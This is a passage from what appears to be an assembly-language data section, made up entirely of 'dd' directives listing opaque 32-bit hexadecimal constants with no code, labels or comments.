0EC41087h, 55A0AA50h, 0D4BC321h, 59F0A584h, 247DFF35h dd 0E71FF6FDh, 5C52EBEFh, 9F116CA7h, 97949BFh, 79BB9129h dd 0F166DE8Ch, 1DD5F0EDh, 0EA8BA15Ch, 0FF3BA5F4h, 8746D479h dd 62E46A28h, 0F02A99A8h, 0F14A33CEh, 0C96EB24Bh, 29237E56h dd 0C2AB333Bh, 434EF61Bh, 4D2A323Ah, 7443EEBBh, 0C616C643h dd 8F263D54h, 0C80AF772h, 903207F8h, 7AA47207h, 5D360B4Ch dd 8D5AA28Fh, 57BD7B13h, 160B6D1Bh, 0D5088939h, 0C47CB84h dd 28C1DE7h, 0F5F8D324h, 7B605F10h, 55BEC33Fh, 0A49A6FF2h dd 0F5BAE3A5h, 21222890h, 0D4AC8FA3h, 56A28A4h, 0E1CD25F4h dd 0BD6E0E6Bh, 10032AE3h, 0A8C88682h, 49D97234h, 6252BE7Ch dd 0B73CDE2Eh, 68F0ECB0h, 533B5B7Eh, 5FD07CEAh, 0BA917B48h dd 0A09250CDh, 5A0B6EFFh, 0DCD53C9Dh, 5B4AF13Bh, 0E18BD2E8h dd 0DBF0CADEh, 374850E4h, 12EA442Fh, 3DC23811h, 0C78825AAh dd 20CB2F79h, 2EBADBB0h, 803F36A6h, 0CF0C35BDh, 0B116495Ch dd 0B1ADBD16h, 0E4BD589Bh, 7D4BA3A6h, 0FBB6FC63h, 0A3EDC2FBh dd 0D893D99Dh, 3306010Ch, 0FC981826h, 33AC9628h, 0E3BF0DA9h dd 0B77E74B2h, 0DFB810AFh, 7E5EA849h, 0DE6B3D68h, 1E88E220h dd 7879E45h, 0ADF692A9h, 0E7D31345h, 0E7F38515h, 87F7AE7Ah dd 19FBF10Fh, 967FAD9Dh, 40F92FABh, 0F876546Fh, 273300D8h dd 97D6FB86h, 1E5920BAh, 52746711h, 3A64B585h, 7C61118Ah dd 42DA5330h, 0BF2EB4Bh, 0F307E897h, 4DF42C6Ah, 46AC9097h dd 47729D27h, 5E1C66C6h, 0B47F6ED1h, 1EFC3A0Ah, 52BAEDC8h dd 4E06EE15h, 0ADC2630Ah, 6992666Fh, 54B0D444h, 604F18D6h dd 0E7AC9960h, 0BED91EBCh, 0C73EC9D0h, 680DE809h, 0FD842758h dd 740F2BCCh, 69674BFh, 0C406470h, 0F1523657h, 0FC7034A1h dd 9EB83758h, 36CFC58Fh, 37278BFAh, 794FAEC6h, 0D608EB73h dd 55A30228h, 0B7D5FF0Fh, 9432EEB0h, 3131C3F5h, 48F6EBEEh dd 14D40A30h, 4AEF7926h, 134870D4h, 0AD6C367Eh, 4D11CD0Ah dd 67973889h, 0A808E277h, 0BF54C9BDh, 9662CE6h, 0D805A0Bh dd 5C652B95h, 0E0B2A241h, 0AAA3CE97h, 75245B4Ah, 0B7585406h dd 28EB7876h, 2463C900h, 3BF06290h, 0EAFCFB7Ah, 741C1490h dd 0A897C60Ch, 2030F9EDh, 0E241738Fh, 0B1C267C7h, 90F91A5Dh dd 0E4B0ACE1h, 0C1EEC852h, 51A5E88Eh, 51CE2C20h, 8616C89h dd 822748A7h, 0FF195389h, 3E640F86h, 39A37BCh, 65EB7F4Fh dd 84EE93B0h, 16DD094Ah, 0D82590B1h, 3E5F1066h, 1F5D5FB6h dd 792327C8h, 0E08C4714h, 0CA156A2Ah, 2101407Bh, 6308ED02h dd 68989E7h, 0A3682F37h, 17254B3Bh, 95AEC93h, 5915B589h dd 13310CC1h, 1D1BDDCh, 0F48609E5h, 0E3431062h, 98EE5F2Ch dd 0E4109A0Bh, 0C31F38Bh, 742F363h, 4503BCA4h, 0A59FC3F6h dd 34ACA7D7h, 0BCDA0A6Fh, 1BF0C119h, 0B95AB305h, 6F6DE0D2h dd 3738E4C9h, 2B80C760h, 1723D017h, 72743CFFh, 0C511D10h dd 0DCBE205Ch, 58775F6Ch, 16912E61h, 0B0A7627Ah, 0AA9DA0F5h dd 0EF27AAF5h, 3ADD0E3Fh, 3105D250h, 8D015B6Eh, 627349BAh dd 0D90C6C78h, 94D14741h, 379D4BB6h, 0DF83B342h, 25B3EFBDh dd 46816C5Ch, 123BFA11h, 4C04DCC9h, 3ECE918Ch, 41EAD7FEh dd 94218351h, 3128E39Dh, 45F7B440h, 72E066D9h, 48C70DFEh dd 1609B262h, 4A43C34h, 271D8460h, 36239BD4h, 7F829DCCh dd 3D241074h, 0C24DEBC8h, 83A00CB2h, 2CAE7C9Ch, 0B902D33Dh dd 5EBC655Fh, 8B50094Ch, 465962BCh, 561AE3B9h, 0C0D4E8E7h dd 4E1D13E9h, 0D56DD5ABh, 74F5F972h, 48774A5Eh, 0D585AB48h dd 87840F29h, 0B0ADB205h, 0F811D09Ah, 0F7291EC5h, 63A978E0h dd 0B325CACCh, 0B488A298h, 2C57BE5Eh, 351BEE31h, 82000FD4h dd 0E89A881Fh, 2957C389h, 7A289FE1h, 56441057h, 2C50AA13h dd 64388ACh, 3F8F9389h, 0C7865E5h, 26B880ACh, 33A782ECh dd 0E3926AADh, 35AF892h, 41ACCD43h, 0A69135D8h, 0AE176A49h dd 0DEA3BECCh, 51F15A53h dd 0C790DDBDh, 0BED90C8h, 0BE43B5FFh, 6130EE7Fh, 62D13ACDh dd 8B8EA681h, 75CF9EECh, 665214EAh, 0C0B962A1h, 832FF4FEh dd 85E7D2Eh, 62EA0BA1h, 72300C4Dh, 0EE35819Fh, 13282B99h dd 2E9A1DCDh, 260D1536h, 19DC1717h, 0D19C520Fh, 91048047h dd 79803B7Ah, 3C73D443h, 0EA4E6187h, 72CB6563h, 0B10FAAE8h dd 0BA6EDDB0h, 0C47FA747h, 0A0D45060h, 10F14F45h, 53040FA3h dd 0E0E8731Ch, 238602F1h, 0CD6B1546h, 7A9EC5A9h, 3C3B520Dh dd 0BF8E2642h, 0BD3C6228h, 8E265F7Eh, 3F831374h, 4954906Fh dd 1AFBF6C3h, 43E73F36h, 0A69A2E5Ah, 5F4A02FFh, 37077227h dd 0B03CBFD1h, 5F0B3CDDh, 5DBDA03Eh, 0AA89599Ch, 28FA9C24h dd 90F81DBDh, 0C3ED73D4h, 9BD50824h, 33716F50h, 0CDA6AF84h dd 0A16CB0DBh, 5D466A5Ch, 9542F439h, 0CE8858F7h, 92BFFC7Fh dd 0AC992FA4h, 345BAE7Dh, 63048E15h, 975C763Ah, 8BE037Ah dd 17537BA0h, 0DA9B5319h, 84898925h, 0DDFD1AD2h, 442E884Fh dd 925159Ah, 3FB8AE1Dh, 4E2063C8h, 0CB15120Bh, 0B48A865Fh dd 0B3E1B8D8h, 2BA8090Ch, 8215B162h, 44B28BD1h, 468B1FB1h dd 6653BEBDh, 8819C535h, 0F19CC361h, 906A660Bh, 0CCBD661Eh dd 73C2EF96h, 26DE04DEh, 1B204283h, 0C084484h, 37398D46h dd 6A2D190Dh, 0E74BE297h, 313AA313h, 66DACAD7h, 64F6D0CAh dd 13F06BDAh, 0CBD1686Ch, 512D7264h, 0A1FCFBC5h, 8EB4E16Ah dd 4CB58839h, 25D29B5Ah, 0A676765Eh, 7F03E957h, 0C6545114h dd 494C8D58h, 0F9E6975Fh, 54AFC535h, 6D1F7184h, 60B9EB8Fh dd 409235Fh, 0F4FACF12h, 0C5B9141Fh, 536985A3h, 7FD89536h dd 0CB2DEC92h, 0E3A56211h, 292BCB26h, 63375345h, 0BF86FC48h dd 0F5B4093Fh, 4ADBC6F9h, 0A640D29Ch, 0C67FF18Ch, 88C90568h dd 0FF972BFBh, 3226462Dh, 865A258Eh, 27626B18h, 0E2B4EBEAh dd 990C077Fh, 0D6B7FC04h, 825728Ah, 7A100040h, 36D830B6h dd 0AB63625Bh, 0B45BA82Ch, 409B8F12h, 1E11330Bh, 0B5D5783Eh dd 0E9724245h, 44F028A8h, 2D0F6195h, 0AE95864Fh, 54ED96A7h dd 0A93E81F0h, 0AAB59746h, 82777405h, 0A19F4F57h, 289E57Bh dd 5ED053A3h, 803B4CCAh, 19941E8Fh, 17A29A3Dh, 33DDF6D4h dd 89A41787h, 0B9C08C1h, 19E8D2EAh, 0CBDC5513h, 0A410EB58h dd 5C15F467h, 49A825D3h, 4FB19823h, 0DC3C5F5Bh, 412845E7h dd 0D69F7B22h, 0B83E447Ah, 0E684782h, 181CFADh, 6C8FC3E6h dd 0DF4608DBh, 14E13B2Ch, 632F9353h, 3ABDB9D6h, 9CEAD6F3h dd 0CDAC1CE3h, 6230331Dh, 0E8E6FFD7h, 0F29FBD6Bh, 38DF8DCAh dd 98656D89h, 89D3DEFEh, 10016337h, 0A6CBA325h, 0DDC5E77Ah dd 75579789h, 20883A9Eh, 6DD6F06Ch, 802D050Ch, 6799455h dd 0F5E41FDh, 855ABAB5h, 0AFEB8493h, 24B2BD07h, 0BEBAD4Bh dd 870BDE52h, 0AB51B2h, 0D3F6E77Fh, 0F13695D6h, 0EC84F23Bh dd 0D258E3D8h, 54F58FD8h, 0CADDE593h, 0FA2FF9D0h, 6843E47Dh dd 31646037h, 0DCE86CC7h, 92251907h, 453B7307h, 0E42017E1h dd 4828E8A9h, 0AC9850ABh, 0DB68BBA3h, 0F4B0696Fh, 617864BCh dd 0BEFF0A3Dh, 0F43C6F21h, 2A2B653Fh, 3239456Eh, 0F186A2F2h dd 987CFD90h, 0DDE59147h, 6D48DA3h, 0DFE41ED5h, 0C49E88E2h dd 4015BA4h, 0D220B3FBh, 0CBCB75E2h, 4D1843E8h, 5290F8D8h dd 0C921548Fh, 0D046DC71h, 0C40077BDh, 0E7439BBBh, 0DE9E8BD5h dd 96548B1Ah, 0A38B88CDh, 427179B7h, 0E943E805h, 7A9918Dh dd 0D7787Fh, 7B06A7BDh, 0B32445F3h, 52A30023h, 0D3111D6h dd 0BFC0130Bh, 0CCC8BBC3h, 0D9CA7A75h, 2E010CD9h, 629D702h dd 0BF5BB1CDh, 0CEA7413Ch, 0C7A5DE1Bh, 105CDE2Dh, 8E0247FAh dd 8F1876D3h, 320071C5h, 0ABE80534h, 5A6ECBCCh, 0B3D7F010h dd 48CF7484h, 70F587EAh, 16ADBF96h, 0EEF4C9D9h, 624B3A4Ah dd 8075C8BBh, 0C15DACFEh, 799ABE2Ch, 0E557DE0h, 53580D4Eh dd 81228F26h, 6CE22FF0h, 126920ABh, 0DD6B2AEDh, 0DFA2515h dd 0D8512DFBh, 600AE3CAh, 0E3FF3AFAh, 16243938h, 0CF8CC9F8h dd 0C385279Eh, 0C6B42123h, 0B3E8C882h, 0CD4364A0h, 0CD677860h dd 433344FDh, 16A55013h, 0ADA48806h, 6B6B36ACh, 543FBE54h dd 43EBA63Ah, 1F92FA54h, 0A8F33D6Eh, 0D923012Eh, 0C39E5D61h dd 0C5B2F8C5h, 0B76B8AB3h, 4B908AEEh, 2900B74Dh, 4154C612h dd 0CF56F2ACh, 0F2F0918Eh, 4B83C92Ah, 5234EF63h, 132AFE6h dd 57BE51A6h, 0F7B0E333h, 0EA4B09E4h, 0ABB15C2Ah, 0BFF19ABBh dd 89ADA54Bh, 7E3B5C4Fh, 79229FE6h, 0BC1845A6h, 9DFD9F7Ah dd 4062F0BAh, 218C6452h, 85C53D78h, 61D899FCh, 0F2BADA83h dd 0C77E49D1h, 12FFB026h, 73BA4D52h, 0FB7A2403h, 41453F00h dd 42389E07h, 2BF9014Ah, 16734768h, 0A6FE0698h, 2118A8E1h dd 0D49FB3C2h, 761DB91Fh, 0D618617Ah, 0C1E8EF7Dh, 0DABF368Eh dd 9062D53Ch, 440E4AC1h, 3602D494h, 5E22DF2Ah, 0EFC3F435h dd 0E7055A3Ch, 8C2F7411h, 0F0DB357h, 0C301548Fh, 9FE7372Ah dd 0F8F2957Bh, 0B104712Ah, 345BC983h, 1B8F5EF5h, 54B6615Fh dd 7432E33Dh, 4E116F89h, 0B321570Ah, 0A836FB22h, 0FE2EADC7h dd 0A93236BAh, 981D3455h, 0B6EA509Bh, 2D314FFAh, 0BA2879C2h dd 0CD86475Bh, 0DD4F27A0h, 0DF600599h, 91AB7A2Fh, 0E5D7CF7h dd 9CD5D5FBh, 16D4C9E2h, 3374CDCCh, 0A9A4248Bh, 0EBCB7AD7h dd 2A62D226h, 3D055DA6h, 42484452h, 0A6CE4B56h, 0ACD7798Eh dd 0F069C754h, 2A5FE1ADh, 0ADAB75C4h, 0F3B0B337h, 9B6283BAh dd 1F8E702h, 7165DDB0h, 20ACA75Ch, 2702B020h, 0EE51B67Ch dd 0A415D252h, 19C8809h, 86381586h, 0E7ED4FA5h, 715282DAh dd 0FCB8BA86h, 0E9CE9F44h, 83BF2096h, 0AA343E6h, 2DCC8C81h dd 6D077353h, 1773C82Eh, 0E8EBD5C0h, 9A387A4h, 9F553608h dd 0AFA7F445h, 7173DC3Eh, 59B050BFh, 0EF519559h, 0F6104A06h dd 45CE3BD9h, 0FFAEFFB3h, 0BFB37F0Ch, 95F35FF7h, 11ABC937h dd 3984A12Bh, 0DF5B066Ah, 11F6F318h, 0C0F322F2h, 3B1048EEh dd 94DD250h, 0E13FA621h, 0C1877EA1h, 35A68649h, 0FA457134h dd 425A806Dh, 7CEEE3ACh, 0E3CFE8E7h, 8F6E57FAh, 8C28FBBDh dd 4AF0F8A8h, 0E3FE5A6Fh, 5A09DC4h, 4E38865h, 5FE72DA9h dd 19FEA08Bh, 0DB96A47Ch, 5E212F29h, 0BB837DC3h, 8EEB9AECh dd 3CACA925h, 0C0844EF7h, 9C853184h, 0B702F0B3h, 5BA3B6CFh dd 0D6B82953h, 0B4C72EF9h, 3D444B3Dh, 0DE6CAF90h, 0A4C8F745h dd 99001044h, 0BB74FFB4h, 6C5A7067h, 4EF2A0C6h, 0CA4584CCh dd 0D32878BAh, 810E04B8h, 0A0F18A6Bh, 6A0E58C2h, 904C76A2h dd 0C43C0A39h, 0CF5B6346h, 6966B51Eh, 0CAEC89Ah, 0AEF57C00h dd 0FF44662Ch, 4C312C8Eh, 95ACAD9Dh, 0B9E9B30Ch, 9AED2FD1h dd 0DA4BAF03h, 6556EBD4h, 0C2BD4054h, 129B4491h, 3E56DAE7h dd 2F7C4159h, 6B212F85h, 2C64E30Bh, 608269ABh, 8EE8B3D5h dd 23CDD4F3h, 18188DACh, 91A604F8h, 20D555Ch, 0E9B16C1Eh dd 4DD9AE71h, 0EBDC8668h, 2163E1C5h, 27B7011Bh, 3F0A323Ah dd 1AF3D9Bh, 0D7E73BCDh, 95D50C7Ah, 2909A9D8h, 1F4EB0EDh dd 0F932FA3Bh, 2A0DCE45h, 77ADA0Fh, 758D3419h, 0C103C2C7h dd 0C96A13A7h, 0FFD3D4EFh, 9632BEA7h, 0D290133h, 72890161h dd 0B78E8B06h, 84F910BFh, 2305B032h, 9A9E4CECh, 0C12EF3DFh dd 118C9ABAh, 8B0A6A8Eh, 357AF6B4h, 7D3426BBh, 0D30B3CCAh dd 581874BFh, 0F2F5BA7h dd 7D23867Eh, 544F9A80h, 7B8D8C12h, 7BAE70CEh, 5A5B96A1h dd 9B88909Ch, 0B75F730Fh, 0BCAFC064h, 0CF2E33EDh, 0CB79DD47h dd 7BEEF870h, 0A13EB880h, 1906FB9Eh, 2CC52255h, 0F8570E4Eh dd 0B5021B0h, 901D2900h, 211C6909h, 8298E35Fh, 10D02F6Fh dd 0ED2CD0F6h, 0B43107ACh, 0B14F114Ch, 0FB7F2C2Ch, 40A22701h dd 0E2DC8609h, 795B8358h, 10F7C5A1h, 4F0E5C5Fh, 0A0DD23A0h dd 58D69E39h, 0F47871FAh, 0F22DCD95h, 9B840FA8h, 2C5AF5DAh dd 56D69211h, 681A9FFEh, 1F31FFC0h, 1EC94798h, 65774BAEh dd 0E28C3F8Eh, 4C325DC3h, 9C1C3BFh, 0ECE85129h, 0CCAE5BDh dd 26AE053h, 922E6937h, 0B0C57F38h, 1971FBBEh, 19E6569Dh dd 2F69F5B5h, 0D1E8A6C3h, 0AA4CB485h, 0FAF7183Bh, 38DCE3D4h dd 0ECE25E91h, 0BDD3BC2Ch, 181C7E7Eh, 1C04A583h, 31010A3Ah dd 0A5763905h, 4434FE91h, 489EB790h, 0A0530ECEh, 0FA88F6Ah dd 5931CB70h, 24D05381h, 359646B4h, 0BACD6707h, 31D22645h dd 38802045h, 0B32ADAF8h, 8FEB17CDh, 64F20676h, 0BDA61F75h dd 13BBAE3Ah, 0FEFEC0ADh, 6BE989DDh, 0D5DF91B8h, 75EC127Ch dd 0E06B6BA2h, 0CAF193A2h, 7990D9D9h, 0E24722FFh, 0AFB3F60Ah dd 89C112E3h, 0ECEC9C2Ch, 450EB92Eh, 10E98247h, 25677C15h dd 0EAC95295h, 8A20A4A6h, 3FA920A5h, 0D659FA87h, 6FEB5476h dd 0DDA514D2h, 56A81CA7h, 0BB7D1E86h, 0FFCAC666h, 85AF384Ch dd 72814295h, 0D9AD672Fh, 0CF0852AAh, 635FB3CDh, 55060C1Eh dd 8ECE8F57h, 63E7BA6Eh, 0F0B2B180h, 7981E530h, 0E16840D9h dd 2354BC7Fh, 0A15D9A88h, 0FCD6A928h, 83B94E5h, 0B3632171h dd 223B6DB6h, 0CEF98A6h, 3BC46194h, 33B4D184h, 0F67FBBC1h dd 0C4926D25h, 3CFB8F74h, 6E31CCFAh, 0D6F6ADF1h, 0F8D65F9Fh dd 0E014CA95h, 90626F92h, 539751D3h, 7C33120Bh, 9D079BE6h dd 81191B73h, 89338461h, 48FD8383h, 93B0CC30h, 4BB1A416h dd 0C15186A8h, 0E470F979h, 3AC9D86Eh, 2C7792C9h, 0C88C15B4h dd 0A0E5F92Fh, 0FDEE73C2h, 71C0A2EFh, 3A2A784Ah, 694ACD2Bh dd 7CF6666Dh, 1E775326h, 29E87861h, 610B5F04h, 0E0C760C7h dd 0F427FA77h, 169DA212h, 0F344486Dh, 90D2C3C6h, 97FE507Eh dd 72006DC8h, 0C5CBBC06h, 0E50A9CCCh, 8A4B65A4h, 1A85B010h dd 4CFB4C78h, 0D52F59E0h, 0F32AC251h, 0CD44BAF0h, 0DC3549DFh dd 1A89CA4Bh, 40D9E549h, 7A8FB56Ch, 8AA07A15h, 3F673D70h dd 4FFA8E1Ch, 9B3FDCEBh, 0F2000F19h, 5CCBEC6Eh, 4C26DBD6h dd 73CEF41Ah, 551C984Eh, 9E8C7C65h, 6225F934h, 0EB26E566h dd 4CC44488h, 0D84DA1C6h, 0D51E9BA0h, 85E36AFAh, 6C5181BFh dd 0E26990F4h, 0A9C46F97h, 0C6DB3086h, 0B1A66F3Ah, 0C284925Ch dd 317DF19Ah, 1EB443D2h, 35C17244h, 2C42347Dh, 7CA16FD7h dd 9E70911Dh, 40402F01h, 0BA5398C3h, 0D7BF4F3Ch, 0C211990h dd 8AACCEE6h, 53047D08h, 9DCADC80h, 0F11CE973h, 3678238h dd 0BE8F8EB9h, 0B60509C1h, 49B507F9h, 0CFD40A7Dh, 49633597h dd 0A2871455h, 8705B847h, 0C93C66C9h, 9DCB8A68h, 8948B956h dd 0C8E9EEA9h, 0A7A2421Eh, 8E7920C4h, 0F5BD9E1Ch, 18D7FE71h dd 0EDAC9AA3h, 0EB64DD36h, 259D0C19h, 0DF6CCC72h, 7A828C46h dd 0DBE87A93h, 26901E7Ch, 98FA7A66h, 0EE40D3A2h, 0DF1D8D4Dh dd 2AF7465h, 0F238873Ch, 1B924CB2h, 7C0B4644h, 0A56C74h dd 0A9E7C741h, 3584B8E7h, 3245D9F5h, 0ECEB1735h, 0B512273Ah dd 0B0BACCC2h, 12DF62D2h, 245F5E24h, 0DC1A778Ah, 0ABF3C3C6h dd 7C58A1ABh, 0A42A8727h, 7BD7E623h, 0CCCC623Fh, 18EAAD98h dd 0DE1E4829h, 0DE2FCC8h, 0C915A94Ah, 0E2C7DEDh, 783020E4h dd 43BF7062h, 0AA1704F4h, 482DBDAFh, 0FF7E01A1h, 1FD5FF14h dd 0D30F4B23h, 0EE11521Ah, 0DFAA9C79h, 605581C8h, 7F46FE8Ah dd 0D2DFDD4Bh, 37E11E93h, 0E380F7DFh, 0C9B58DC4h, 53BE49D6h dd 602CAF97h, 295E335Dh, 0E6D21211h, 6C46C179h, 5CEB2835h dd 0E53E0888h, 5F642152h, 7A1E403Eh, 0C4B2C36Ah, 0F2B92AC2h dd 5D9BD49h, 0D8DDF566h, 0B4BAC08h, 8A3A0719h, 9713B731h dd 535BB29Dh, 332C1BF4h, 520B568Ch, 0F7ADCC94h, 7721197Ah dd 46E9DE97h, 45C87329h, 1B368646h, 42C8730Fh, 0C55AB938h dd 0C46E9310h, 0E41B5ABBh, 98B3E55Ch, 57E3740Dh, 0E34A4E5Dh dd 0BABD2602h, 9E292FE1h, 460D8F52h, 2D71EE30h, 8EB9E89Ah dd 58C1BEFBh, 0B3D33E4Dh, 68B92EEEh, 0E622C8C8h, 0DE4E2257h dd 707367C6h, 444EC179h, 0B79BA63Dh, 7144F037h, 0F8B2178h dd 95FF69FFh, 69854C13h, 1BE57EF8h, 462E577Ch, 0D1B71B65h dd 68BBC6FDh, 0E40779EDh, 0B3765ED2h, 2320ECA7h, 4120E72Ch dd 100D650h, 5180826Ah, 0C1B3FE72h, 6C7F927h, 75E54844h dd 0D8602086h, 1F635A7Eh, 9589C4A9h, 71506866h, 4F6A9A88h dd 232364D0h, 282AC8A4h, 0B20C7F4Ah, 2D77A5B3h, 173A08ADh dd 6D393560h, 2AF37F4Dh, 8D5E4D0Fh, 0A7B0BBADh, 0B83F596Bh dd 99EBE621h, 5546DF3Bh, 0AC77E1FCh, 0B69B4957h, 0D66900BEh dd 0ADC210Fh, 0F231AAEDh, 3416BB13h, 198CE1CBh, 0D7F9AB8Dh dd 52DE18C2h, 3ACB389Fh, 13537E8Ah, 249BC928h, 5001AB9Ch dd 0F9B764F7h, 0C68EFCCFh, 4D4406A5h, 50E7FB54h, 0B967A592h dd 6698F43Bh, 538767A5h, 3252D4FBh, 0FB2CE391h, 4F0E1B9Ah dd 63E2Ch, 54475290h, 59B088F9h, 0E4E8842Fh, 9FCA844Bh dd 7134E98Eh, 0F72B5649h, 6C97788Eh, 98D2D1A4h, 0F8F28C65h dd 0FFC02250h, 0EA388CEBh, 0F1AECB48h, 0DB870918h, 4BAEF2ECh dd 9D470DF5h, 367F2DA4h, 0B992889Fh, 0F8296EF5h, 0F646A9C5h dd 0AA50E800h, 0E3D27FFBh, 0A1438D29h, 0E9E11127h, 5A5C74B9h dd 0F313743Ch, 27B26B4Ah, 0BBAC88C1h, 0C2A57470h, 5BF3C858h dd 0B1D967C6h, 0C665D06h, 8DAC18AAh, 9C0B81D9h, 2EA6A375h dd 6D4FC91Ch, 1770A148h, 0C6262D5Bh, 874F776h, 9AF6E1FEh dd 47D29BAFh, 36B4F4DEh, 0BDFB8E4h, 6F8D8DB9h, 4C823A6Fh dd 0A79F9157h, 32124DF4h, 0A9B470ABh, 41A4BC89h, 5FA6E6BEh dd 835D5FD5h, 0AEA2F09h, 0BA9F7D4Eh, 7AA747C1h, 735592EDh dd 9DCEB2D0h, 109FD14h, 72C7E104h, 37425C1Ch, 4665088Dh dd 7523A7Ch, 0A5819DCBh, 3F12AB1Dh, 0E2E42C32h, 0C7EDC3FDh dd 4E155E67h, 0BD8387AEh, 327143C7h, 51A9B9DCh, 0A77FEBCBh dd 8CC8A228h, 241D581h, 89E7FC10h, 37DA50BFh, 0FD0CA569h dd 4B052F38h, 81348CA1h, 4B4BCA86h, 87532C9Dh, 1D87A58Bh dd 0E7D64EACh, 6041E2B1h, 0F9B8C5B7h, 0F6AA38F3h, 7C706E15h dd 6B4460Bh, 0B7F1D645h, 0E4933AC5h, 222BF52Fh, 37D73401h dd 7F27BFA3h, 1D325FAFh, 86AB274Dh, 73324F25h, 0DC78C6Eh dd 90E3F60Fh, 0CF718D2Bh, 48F4CD3Ah, 0EDE86298h, 0B350D3C4h dd 945C025h, 8A0A83AEh, 663CA16Ah, 72CF5617h, 478E86ECh dd 91E1C329h, 929F4509h, 7C3FBFDDh, 48743819h, 0B73987AEh dd 77596F15h, 8F2D2515h, 452A2A1Eh, 6D040C12h, 45052D4Fh dd 5B9AC691h, 0CDDD6FCAh, 6582CE8Eh, 0C0656086h, 385F11FBh dd 536E668h, 0C5600A0Ah, 0A1C31B5Fh, 0AC36CFA6h, 2D501673h dd 2B549CCBh, 7C575C2h, 0ED6F2DF9h, 0B15EB6C9h, 0E3F4C720h dd 5C07BDE5h, 2CF75DFFh, 1AC12B38h, 0AEF1F61Ch, 47C38FDEh dd 4B541FBEh, 0A7FEF469h, 94EC29E7h, 87E5EBFDh, 70D2CF30h dd 83F28D2Ah, 6EFBAE6Eh dd 4602D04Ah, 76808EF4h, 22B0396Dh, 885148D9h, 3FCF15AFh dd 7CD0389Dh, 0BA6837A6h, 0F4D9EB6h, 2BB6C4C9h, 56069307h dd 85B4E9FEh, 2AD2AFEDh, 0D182CD65h, 500E8D36h, 0EEB3331Fh dd 7FFE2F3Bh, 118C030Dh, 85885192h, 0BBB30587h, 0F2810541h dd 7C37AA0Ch, 556CDF24h, 0FF2060F8h, 2A23DA04h, 5EAC2513h dd 6FE5E7A6h, 7AF3A965h, 89DD3CB2h, 0D82033h, 77DB85A1h dd 4586D221h, 31FC7D17h, 0E33A050Eh, 8CD40D62h, 0BA05CC23h dd 0C2087D2Dh, 0C56EA890h, 8A7648B8h, 0A78B1D86h, 0BF7F85FEh dd 9DEAACC1h, 0ADE75F5Ch, 0CD76BB09h, 0BAC9CBDDh, 2DF35160h dd 99241615h, 4123CC06h, 0FDF2A5FAh, 22A03EE7h, 0CA7ACA19h dd 5224C648h, 0DC196252h, 479FFF7Bh, 0E78C624Dh, 0D33190ADh dd 0ED38A81Bh, 4CC7E188h, 0F02DD1A3h, 0E4E50815h, 5EA6B8D1h dd 5522A1Eh, 7471E93h, 168DEEA3h, 864E3B08h, 8D21AC41h dd 1C46B45Fh, 56ABB45Ch, 184CFFD2h, 0B4B242D4h, 8BBCDB4h dd 58936C47h, 930E9127h, 83291FAh, 0C22F3CCh, 0E58D29CDh dd 70E2F6CEh, 7531538Ah, 95DEE8C8h, 3656203h, 0DA963B58h dd 77F1C610h, 5C46EB07h, 67568FADh, 39083022h, 0B5897F13h dd 32D261C0h, 3BE96F08h, 6DB811BCh, 1D55038Bh, 634B8C69h dd 0FD19422Ah, 0C5492FD6h, 604951E7h, 24BA5F3Dh, 881D7CC9h dd 326924E9h, 245DC566h, 0D8EE64A1h, 0BA2CE67Eh, 0E7811163h dd 4AFDD3F0h, 0F8A860BBh, 8642FED7h, 49937F60h, 792BB9D6h dd 0C873C0A6h, 0E18D5C1Bh, 339234B6h, 2CB1272Bh, 0E79D1E4Ah dd 0D8E3A09h, 0ADE23867h, 43E910B6h, 0A3C09A5Eh, 452F305Eh dd 3791101Fh, 6C10C084h, 0A1A0BB16h, 54604384h, 90F8B77h dd 9CE3C018h, 0AE59684h, 98A60903h, 0B5170D26h, 9DFC6F4Eh dd 3D35ABECh, 0C897113Ch, 0ABA389DEh, 1939465Eh, 0AD23CF7Fh dd 0EC142B48h, 76044F47h, 9A22C997h, 0F619DB0Ch, 0C5D90629h dd 9BDF559Bh, 591CBA3Fh, 0AFE504F9h, 75F11019h, 0F3C14F51h dd 0C00FDDDh, 61DA3EFEh, 484F467Dh, 0F0F11EF1h, 1C458594h dd 34B97C7Dh, 0D5DE109Fh, 4227C3DAh, 5F8A43E7h, 0D6C782CAh dd 0B09B0DE7h, 3B987744h, 0C3FAA234h, 98224F71h, 0DB9C3D0Ch dd 894F0A8h, 0E126DAF2h, 60345114h, 2EE99720h, 0E089193Fh dd 49D80CECh, 4D3612D9h, 0CEAC0B3Eh, 2847EAAh, 0C0B3C41Ah dd 8B4049A9h, 0C68FB374h, 0D3A46A8Dh, 0F3228D8h, 0E1904687h dd 36BD70A2h, 0E64DEDE2h, 715A5044h, 0C0B75EB8h, 9BF7EA9Bh dd 0B9D93766h, 5700C434h, 6E4977Ah, 0CB080384h, 1881F349h dd 7B7938FBh, 5242A193h, 0CB55274Ch, 0CF16ACFEh, 1B673E9Eh dd 0CCAA3C2Ch, 94BF283Ah, 403EF9BEh, 0A9B6C0F3h, 54AF9520h dd 0D362D2E0h, 2E0EB7B1h, 5FDD5EB6h, 4A3D990Fh, 2A2EF1F0h dd 4B2B8D72h, 740CE24Dh, 68E50EFAh, 0F508CC18h, 0D6FF2605h dd 8D6F1D02h, 0D1ADE929h, 0EA39A97Eh, 87AC19A8h, 851A854Fh dd 20FA1AE0h, 5DD1B6F4h, 93A4DD5Dh, 92FD2D35h, 9A5E2A26h dd 31B32F3Ah, 0D4070F09h, 5BCE2CE0h, 77AD644h, 1BECD012h dd 44B71F2Fh, 0C667A2FCh, 755138FBh, 56BC7AFFh, 714AEDE0h dd 0D7C43500h, 0FB45264Bh, 304A6BFEh, 5D560B40h, 70883E29h dd 959130F8h, 2B6FA06Eh, 7EE0B617h, 4BE02Fh, 0BF819186h dd 45796FE4h, 4A46E88Ah, 0DC587754h, 7977C943h, 99DAF793h dd 122C6303h, 3DBD51F1h, 17E0C7AFh, 0F907962Bh, 19D5A563h dd 78AB5DA5h, 0E171FD58h, 0E707A0ACh, 0EB9768DFh, 31B4AC0Ah dd 0E7AC2C68h, 0E78FBEDCh, 77C64F82h, 40D214F1h, 28A32F1Bh dd 6C175D6Ch, 0B89984B3h, 560FFC16h, 408D404Bh, 5F927EACh dd 0BC3124F5h, 4487CF50h, 88B766A8h, 0BD79BE9Bh, 0E15143AEh dd 0BD97F9C3h, 8631249Eh, 0F085DF17h, 0C0AF4705h, 145BF1DFh dd 7D67AE83h, 0A454FB62h, 23278153h, 6193A5h, 0DB1F90B9h dd 10D3A5FCh, 7989CE19h, 0A8F5EBC6h, 0BEEA11BFh, 1958E8F2h dd 63273BE4h, 135BA062h, 